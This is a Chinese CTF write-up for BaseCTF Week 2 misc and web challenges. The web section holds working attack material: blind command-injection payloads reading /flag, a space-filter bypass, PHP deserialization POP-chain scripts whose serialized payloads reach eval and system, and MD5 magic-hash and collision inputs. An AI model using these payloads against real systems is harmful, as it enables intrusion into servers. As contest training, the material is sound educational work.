BaseCTF week2(web & misc)部分wp

RaM1ng 2024-09-05 17:33:01 阅读 65

BaseCTF week2

杂项

[Week2] Aura 酱的旅行日记 I <图寻擂台

描述:答案请使用如下格式 <code>BaseCTF{XX省XX市XX区XX路XX号}

附件:

在这里插入图片描述

<code>BaseCTF{四川省成都市成华区十里店路88号}

[Week2] Aura 酱的旅行日记 IV <图寻擂台>

描述:Flag 格式为: BaseCTF{XX省XX市XX区XX街XX景区}

附件:

在这里插入图片描述

<code>BaseCTF{江苏省南京市秦淮区贡院街夫子庙景区}

其实这个景区名是猜的,真幸运

[Week2] Aura 酱的旅行日记 V <图寻擂台>

描述:

Flag 格式为: BaseCTF{XX省XX市XX区(景点名)-XX广场andXX陈列馆}

BaseCTF{%s省%s市%s区%s-%s广场and%s陈列馆}

附件:

在这里插入图片描述

<code>BaseCTF{四川省广安市广安区邓小平故里-邓小平铜像广场and邓小平故居陈列馆}

[Week2] 黑丝上的flag

附件:

在这里插入图片描述

ps进行反色即可

Photoshop简单案例(5)——利用ps进行颜色替换_ps怎么把黑色换成另一种颜色-CSDN博客

在这里插入图片描述

<code>BaseCTF{Bl4ck_5ilk_1s_the_be5t}

官方解:

原理是降低flag部分的透明度, 因为取原图的黑色部分, 以黑底显示时基本不影响图片, 以白底显示时flag部分变亮, 所以进行了部分加深.

不推荐直接肉眼读取flag, 出题人预期方法是编程遍历像素的a``lpha(透明度)通道, 重新用黑白写在新的图片上

from PIL import Image

def gen(flag):

img = Image.new('RGBA', (flag.width,flag.height))

for w in range(img.width):

for h in range(img.height):

pixelA = flag.getpixel((w,h))

if pixelA[3] != 255:

img.putpixel((w, h), (255,255,255,255))

else:

img.putpixel((w, h), (0, 0, 0, 255))

return img

if __name__ == '__main__':

flag = Image.open("flag.png")

img = gen(flag)

img.save("EXP.png")

# 拿到图片:BaseCTF{Bl4ck_5ilk_1s_the_best}

二维码1-街头小广告

二维码本身具有纠错能力,只要损坏数量不太多,就能自动纠正。

在合适的位置补上右上角定位块就行,绷不住了

在这里插入图片描述

使用微信小程序草料二维码扫得到

<code>https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

url解码:BaseCTF{QR_Code_1s_A_f0rM_Of_m3s5ag3}

#### [Week2] 海上又遇了鲨鱼

附件:wireshark2.pcapng

首先还是先从包的长度入手,发现

在这里插入图片描述

怀疑存在flag.zip

使用binwalk看看

在这里插入图片描述

果然,得到的zip需要密码,追踪一下TCP流

在这里插入图片描述

试一下发现就是解压密码

<code>BaseCTF{W1r3sharK_3at_r3p3at_paSsw0rd}

#### [Week2]哇!珍德食泥鸭

附件:ikun.gif

一开始惯性思维认为是某一帧,结果看了半天啥也没有,最后试了试binwalk,呜呜是真的

在这里插入图片描述

查看文档,发现

在这里插入图片描述

一开始字体和背景是白色的,改一下就看见了

<code>BaseCTF{a651c13d-9600-437e-90ca-40d740fa7cb4}

[Week2] 反方向的雪

描述:

低头看雪?

压缩包密码为6位

附件:反方向的雪.jpg

在这里插入图片描述

结合题目和提示

<code>with open('1.jpg','rb') as f:

with open('1.zip','wb') as g:

g.write(f.read()[::-1])

得到的zip需要密码,爆破得到

暴力破解压缩包工具 - Junglezt - 博客园 (cnblogs.com)

在这里插入图片描述

即密码为123456

得到

在这里插入图片描述

存在空白,改背景和颜色不行,搜搜发现

NewStarCTF2023week4-依旧是空白(snow隐写)-CSDN博客

对应题目的雪——snow,应该就是这个了

在这里插入图片描述

这里的p猜测是前面binwalk时出现的字符串

在这里插入图片描述

参考:

NewStarCTF2023week4-依旧是空白(snow隐写)-CSDN博客

由空格等不可见字符组成的隐写_空白格隐写-CSDN博客

web

[Week2] 一起吃豆豆

描述:大家都爱玩的JS小游戏

F12查看index.js文件发现可疑字符串,base64解码得到flag

(这里上传不了图片,不知道CSND搞什么鬼)

<code>BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

[Week2] 你听不到我的声音

描述:我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

<?php

highlight_file(__FILE__);

shell_exec($_POST['cmd']);

shell_exec()

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

也就是说, PHP先运行一个shell环境, 然后让shell进程运行你的命令, 并且把所有输出已字符串形式返回, 如果程序执行有错误或者程序没有任何输出, 则返回null

无回显命令执行

cmd=ls | sleep 5

查看是否命令执行成功,发现执行成功

查看根目录

cmd=ls / > 1.txt

在这里插入图片描述

查看flag里的内容

<code>cmd=tac /flag > 1.txt

得到flag

BaseCTF{c0981bc9-aeda-4c6e-adc2-a7348874abe3}

参考:

[CTF]命令执行无回显利用_ctf无回显命令执行-CSDN博客

[Week2] RCEisamazingwithspace

描述:

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

靶机:

<?php

highlight_file(__FILE__);

$cmd = $_POST['cmd'];

// check if space is present in the command

// use of preg_match to check if space is present in the command

if (preg_match('/\s/', $cmd)) { -- -->

echo 'Space not allowed in command';

exit;

}

// execute the command

system($cmd);

空格绕过

在这里插入图片描述

在这里插入图片描述

<code>BaseCTF{7938366f-5e67-4882-b021-f25385d45779}

参考:

RCE漏洞之绕过_rce绕过-CSDN博客

[Week2] ez_ser

描述:简单的反序列化入门,喵喵喵

靶机:

<?php

highlight_file(__FILE__);

error_reporting(0);

class re{ -- -->

public $chu0;

public function __toString(){

if(!isset($this->chu0)){

return "I can not believes!";

}

$this->chu0->$nononono;

}

}

class web {

public $kw;

public $dt;

public function __wakeup() {

echo "lalalla".$this->kw;

}

public function __destruct() {

echo "ALL Done!";

}

}

class pwn {

public $dusk;

public $over;

public function __get($name) {

if($this->dusk != "gods"){

echo "什么,你竟敢不认可?";

}

$this->over->getflag();

}

}

class Misc {

public $nothing;

public $flag;

public function getflag() {

eval("system('cat /flag');");

}

}

class Crypto {

public function __wakeup() {

echo "happy happy happy!";

}

public function getflag() {

echo "you are over!";

}

}

$ser = $_GET['ser'];

unserialize($ser);

?>

脚本:

<?php

class re{

public $chu0;

public function __toString(){

if(!isset($this->chu0)){

return "I can not believes!";

}

$this->chu0->$nononono;

}

}

class web {

public $kw;

public $dt;

public function __wakeup() {

echo "lalalla".$this->kw;

}

public function __destruct() {

echo "ALL Done!";

}

}

class pwn {

public $dusk = "gods";

public $over;

public function __get($name) {

if($this->dusk != "gods"){

echo "什么,你竟敢不认可?";

}

$this->over->getflag();

}

}

class Misc {

public $nothing;

public $flag;

public function getflag() {

eval("system('cat /flag');");

}

}

$a = new web();

$b = new re();

$a -> kw = $b;

$c = new pwn();

$b -> chu0 = $c;

$d = new Misc();

$c -> over = $d;

$str = serialize($a);

echo $str;

?>

传参:

?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

在这里插入图片描述

aaaaaa,这里因为一开始多复制了一个空格浪费了很多时间,气死

<code>BaseCTF{2e36c2db-91c4-46c5-a07a-c6e155d3cc9d}

[Week2] Really EZ POP

描述:

你已经学会反序列化了,接下来尝试手动构造 POP 链吧!

请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性

!!不要使用!! FireFox 的 Hackbar 发送 Payload, 可能你输入是正确的, 但是没有回显

靶机:

<?php

highlight_file(__FILE__);

class Sink

{ -- -->

private $cmd = 'echo 123;';

public function __toString()

{

eval($this->cmd);

}

}

class Shark

{

private $word = 'Hello, World!';

public function __invoke()

{

echo 'Shark says:' . $this->word;

}

}

class Sea

{

public $animal;

public function __get($name)

{

$sea_ani = $this->animal;

echo 'In a deep deep sea, there is a ' . $sea_ani();

}

}

class Nature

{

public $sea;

public function __destruct()

{

echo $this->sea->see;

}

}

if ($_POST['nature']) {

$nature = unserialize($_POST['nature']);

}

脚本:

<?php

class Sink

{

private $cmd = 'system("ls");';

public function __toString()

{

eval($this->cmd);

}

}

class Shark

{

private $word;

public function __destruct()

{

echo $this->word = new Sink();

}

public function __invoke()

{

echo 'Shark says:' . $this->word;

}

}

class Sea

{

public $animal;

public function __get($name)

{

$sea_ani = $this->animal;

echo 'In a deep deep sea, there is a ' . $sea_ani();

}

}

class Nature

{

public $sea;

public function __destruct()

{

echo $this->sea->see;

}

}

$a = new Nature();

$b = new Sea();

$a -> sea = $b;

$c = new Shark();

$b -> animal = $c;

$str = urlencode(serialize($a));

echo $str;

?>

在这里插入图片描述

很奇怪,输出不了,就算没有改成成功cmd的值,按理说应该也会输出123

终于发现了,脚本写错了

脚本:

<code> <?php

class Sink

{ -- -->

private $cmd = 'system("ls /");';

public function __toString()

{

eval($this->cmd);

}

}

class Shark

{

private $word;

public function __construct()

{

$this->word = new Sink();

}

public function __invoke()

{

echo 'Shark says:' . $this->word;

}

}

class Sea

{

public $animal;

public function __get($name)

{

$sea_ani = $this->animal;

echo 'In a deep deep sea, there is a ' . $sea_ani();

}

}

class Nature

{

public $sea;

public function __destruct()

{

echo $this->sea->see;

}

}

$a = new Nature();

$b = new Sea();

$a -> sea = $b;

$c = new Shark();

$b -> animal = $c;

$str = serialize($a);

echo $str;

?>

在这里插入图片描述

查看flag

在这里插入图片描述

<code>BaseCTF{fa26f72f-71b2-4182-a1fb-2361e13da295}

总结:

class Shark

{ -- -->

private $word;

public function __construct()

{

$this->word = new Sink();

}

public function __invoke()

{

echo 'Shark says:' . $this->word;

}

}

//使用construct魔术方法为Shark的属性赋值

//其次 原始序列化的类,私有属性会在类名和属性名前加%00,复制时会丢失,所以该处手工加上,或者使用url编码

参考:

反序列化 私有属性 绕过__wakeup__ - MuRKuo - 博客园 (cnblogs.com)

[Week2] 数学大师

描述:

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session,请在请求时开启 session cookie

脚本:

import requests

import re

import time

from bs4 import BeautifulSoup

# 创建会话对象以保持Session

session = requests.Session()

# URL 和 表单提交地址

url = "http://challenge.basectf.fun:44889" # 替换为实际的CTF题目URL

# 循环50次

for i in range(50):

# 获取题目页面

response = session.get(url)

content = response.text

print(f"获取到的内容: { content}") # 打印获取的页面内容

# 更新正则表达式以匹配不带空格且使用'x'表示乘法或'÷'表示除法的算式

match = re.search(r"(\d+)\s*([+\-*/x×÷])\s*(\d+)", content)

if match:

num1 = int(match.group(1))

operator = match.group(2)

num2 = int(match.group(3))

# 根据不同的运算符进行相应计算

if operator == '+':

answer = num1 + num2

elif operator == '-':

answer = num1 - num2

elif operator == '*' or operator == 'x' or operator == '×':

answer = num1 * num2

elif operator == '/' or operator == '÷':

answer = num1 // num2 # 使用整数除法

print(f"解析结果: { num1} { operator} { num2} = { answer}") # 打印解析结果

# 提交答案

data = { 'answer': answer}

post_response = session.post(url, data=data)

print(f"提交结果: { post_response.text}") # 打印提交后的服务器响应

# 获取第50和第51次循环的响应信息

if i == 50 or i == 51:

print(f"第 { i+1} 道题目的响应信息: { post_response.text}")

# 检查是否成功(将判断条件改为检查英文"Correct!")

if "Correct!" in post_response.text:

print(f"第 { i+1} 道题目成功!")

else:

print(f"第 { i+1} 道题目失败!")

break

else:

print("未能解析题目, 页面内容: ", content) # 输出无法解析时的页面内容,便于调试

break

# 控制请求节奏,睡眠1秒(可以根据实际需要调整)

time.sleep(1)

print("解题完成")

final_response = session.get(url)

# 打印最终页面的HTML源代码

print("最终页面的HTML源代码:")

print(final_response.text)

# 使用BeautifulSoup解析HTML源代码

soup = BeautifulSoup(final_response.text, 'html.parser')

# 打印所有的Cookies信息

print("\nCookies信息:")

for cookie in session.cookies:

print(f"{ cookie.name}: { cookie.value}")

# 打印响应头信息

print("\n响应头信息:")

for key, value in final_response.headers.items():

print(f"{ key}: { value}")

# 查找页面中可能隐藏的flag信息

# 1. 打印页面所有的注释内容(有时flag会隐藏在注释中)

comments = soup.find_all(string=lambda text: isinstance(text, type(soup.Comment)))

print("\nHTML注释内容:")

for comment in comments:

print(comment)

# 2. 查找并打印页面中所有隐藏的元素(display: none)

print("\n隐藏的元素内容:")

hidden_elements = soup.find_all(style=lambda value: value and 'none' in value)

for elem in hidden_elements:

print(elem)

# 3. 检查所有的JavaScript代码块,flag可能在脚本中

print("\nJavaScript代码块:")

scripts = soup.find_all('script')

for script in scripts:

print(script)

# 4. 打印网络请求相关信息(如果有重定向或其他URL,可以手动访问这些URL)

print("\n网络请求相关信息:")

history = final_response.history

for resp in history:

print(f"Status Code: { resp.status_code}, URL: { resp.url}")

# 如果有重定向,可以查看最终跳转的URL

print(f"\n最终跳转的URL: { final_response.url}")

不懂解决了50题之后怎么得到flag,

这里我的score会reset,不理解

官方wp:

import requests

import re

req = requests.session()

url = "http://challenge.basectf.fun:24989/"

answer = 0

while True:

response = req.post(url , data={ "answer": answer})

print(response.text)

if "BaseCTF" in response.text:

print(response.text)

break

regex = r" (\d*?)(.)(\d*)\?"

match = re.search(regex, response.text)

if match.group(2) == "+":

answer = int(match.group(1)) + int(match.group(3))

elif match.group(2) == "-":

answer = int(match.group(1)) - int(match.group(3))

elif match.group(2) == "×":

answer = int(match.group(1)) * int(match.group(3))

elif match.group(2) == "÷":

answer = int(match.group(1)) // int(match.group(3))

[Week2] 所以你说你懂 MD5?(未完)

提示:

可以了解一下 MD5 长度拓展攻击

第一个if:强比较

$apple = $_POST['apple'];

$banana = $_POST['banana'];

if (!($apple !== $banana && md5($apple) === md5($banana))) {

die('加强难度就不会了?');

}

//apple[]=1&banana[]=2

第二个if:

强转成了 string, 此时数组会变成 Array 无法绕过

利用第二个地方的弱比较, 让 0e 开头的字符串使 php 误认为是科学计数法, 从而转换为 0

$apple = (string)$_POST['appple'];

$banana = (string)$_POST['bananana'];

if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {

die('难吗?不难!');

}

//appple=QLTHNDT&bananana=QNKCDZO

题目中,要求两个字符串值不能相等,但是两个字符串经过md5加密后的值需要相等,通过上面PHP 0e漏洞的原理,也就将此题转化成 ==> 寻找两个值加密后以0e开头,且0e后面是纯数字的字符串即可,可以使用Python写个程序或者直接在网上搜。

240610708

0e462097431906509019562988736854

314282422

0e990995504821699494520356953734

571579406

0e972379832854295224118025748221

QLTHNDT

0e405967825401955372549139051580

QNKCDZO

0e830400451993494058024219903391

EEIZDOI

0e782601363539291779881938479162

TUFEPMC

0e839407194569345277863905212547

UTIPEZQ

0e382098788231234954670291303879

第三个if:

$apple = (string)$_POST['apppple'];

$banana = (string)$_POST['banananana'];

if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {

die('嘻嘻, 不会了? 没看直播回放?');

}

两串不一样的字符,加密结果却相同:

$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

参考:

MD5碰撞-CSDN博客

https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

fastcoll -o a a1

可以获得两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入

第四个地方考了 哈希长度拓展攻击

(后面再复现吧~~



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。